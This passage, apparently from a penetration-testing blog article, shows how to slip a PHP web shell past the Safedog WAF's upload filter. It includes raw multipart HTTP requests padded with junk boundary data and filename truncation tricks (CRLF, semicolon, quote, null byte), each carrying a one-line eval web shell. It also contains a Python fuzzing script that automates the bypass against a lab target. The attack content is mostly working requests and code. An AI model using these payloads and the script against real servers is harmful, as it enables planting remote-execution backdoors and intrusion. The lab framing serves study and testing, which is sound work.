------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A semicolon must be placed after the large volume of junk data.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Inserting Junk Data into the Boundary String
&lt;/h3&gt;

&lt;p&gt;The boundary string can contain arbitrary data (subject to length limitations). When the length exceeds what the WAF can process but the web server can still handle, the file upload may bypass the WAF.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/Pass-01/index.php&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hackrock.com:813&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

&amp;lt;?php @eval($_POST['x']);?&amp;gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Inserting Junk Data at the End of the Boundary
&lt;/h3&gt;

&lt;p&gt;As mentioned previously, arbitrary data may be appended to the end of the &lt;code&gt;boundary&lt;/code&gt; string; thus, a large volume of junk data can be added there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/Pass-01/index.php&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hackrock.com:813&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;592&lt;/span&gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

&amp;lt;?php @eval($_POST['x']);?&amp;gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Inserting Junk Data Between multipart/form-data and boundary
&lt;/h3&gt;

&lt;p&gt;Since it is possible to insert any data between &lt;code&gt;multipart/form-data&lt;/code&gt; and &lt;code&gt;boundary&lt;/code&gt;, a large volume of junk data can be placed there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/Pass-01/index.php&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hackrock.com:813&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;319&lt;/span&gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

&amp;lt;?php @eval($_POST['x']);?&amp;gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Data Truncation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Carriage Return and Line Feed Truncation
&lt;/h3&gt;

&lt;p&gt;POST request header values (not the header lines themselves) may contain line breaks, provided there are no blank lines. If the WAF stops matching the file name at a line break, a bypass can occur.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Semicolon Truncation
&lt;/h3&gt;

&lt;p&gt;If the WAF truncates the file name at a semicolon, a bypass can be achieved.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Quotation Mark Truncation
&lt;/h3&gt;

&lt;p&gt;PHP versions prior to 5.3 exhibit single/double quote truncation behaviour.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Null Byte Truncation
&lt;/h3&gt;

&lt;p&gt;In a URL, &lt;code&gt;%00&lt;/code&gt; represents the ASCII null character (0x00), which is reserved as a special character; when encountered, reading is terminated. Here &lt;code&gt;[0x00]&lt;/code&gt; denotes the hexadecimal null byte.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Practical Demonstration – Bypassing Safedog File Upload Protection
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Experimental Environment&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Target: Upload-Labs (Pass‑1)&lt;/li&gt;
&lt;li&gt;Database: MySQL 5.5&lt;/li&gt;
&lt;li&gt;Web script: PHP 5.4.19&lt;/li&gt;
&lt;li&gt;WAF: Safedog for Apache v4.0.3025&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;During testing, only the upload protection module of Safedog was enabled; otherwise, other modules could delete files from the target environment due to false positives.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwrwjckbl4253ov183s3l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwrwjckbl4253ov183s3l.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Practical Case 1 – Writing a Fuzzing Script to Exploit Data Overflow
&lt;/h3&gt;

&lt;p&gt;Given that the boundary string can accommodate a large volume of junk data, a fuzzing script was written to test whether the WAF could be bypassed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#! /usr/bin/env python
# _*_  coding:utf-8 _*_
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://hackrock.com:813/Pass-01/index.php&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_random_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;randomlength&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;random_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;
    &lt;span class="n"&gt;base_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;randomlength&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;random_str&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;base_str&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;random_str&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;stri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_random_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

        &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hackrock.com:813&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Referer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://hackrock.com:813/Pass-01/index.php&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;multipart/form-data; boundary=----&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;stri&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
            ------&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;stri&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
            Content-Disposition: form-data; name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;upload_file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;; filename=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shell.php&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;
            Content-Type: image/png

            &amp;lt;?php @eval($_POST[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hack&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;]); ?&amp;gt;

            ------&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;stri&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
            Content-Disposition: form-data; name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;submit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;

            上传
            ------&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;stri&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;--

        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

        &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;stri&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="c1"&gt;#print payload
&lt;/span&gt;        &lt;span class="c1"&gt;#print headers
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;上传&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Length is : %s &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script was written using Python 2.7; ensure a Python 2 environment and the required libraries are installed.&lt;/p&gt;

&lt;p&gt;The test result indicated that a boundary length of 3710 characters was effective:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvutvjl25sixaks9ci0f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvutvjl25sixaks9ci0f.png" alt=" " width="799" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Although the file was not actually uploaded to the server (due to the target environment’s restriction), the Safedog WAF was successfully bypassed.&lt;/p&gt;

&lt;p&gt;The crafted packet was then sent via Burp Suite:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzag2rdb4ew9mcf3rkfx7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzag2rdb4ew9mcf3rkfx7.png" alt=" " width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The bypass was achieved.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practical Case 2 – Bypassing Using Null Byte Truncation
&lt;/h3&gt;

&lt;p&gt;The file was uploaded while intercepting with Burp Suite, and the &lt;code&gt;filename&lt;/code&gt; value was changed to: &lt;code&gt;shell.php;.jpg&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wh8n3buawxi169el5yz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wh8n3buawxi169el5yz.png" alt=" " width="797" height="90"&gt;&lt;/a&gt;&lt;/p&gt;

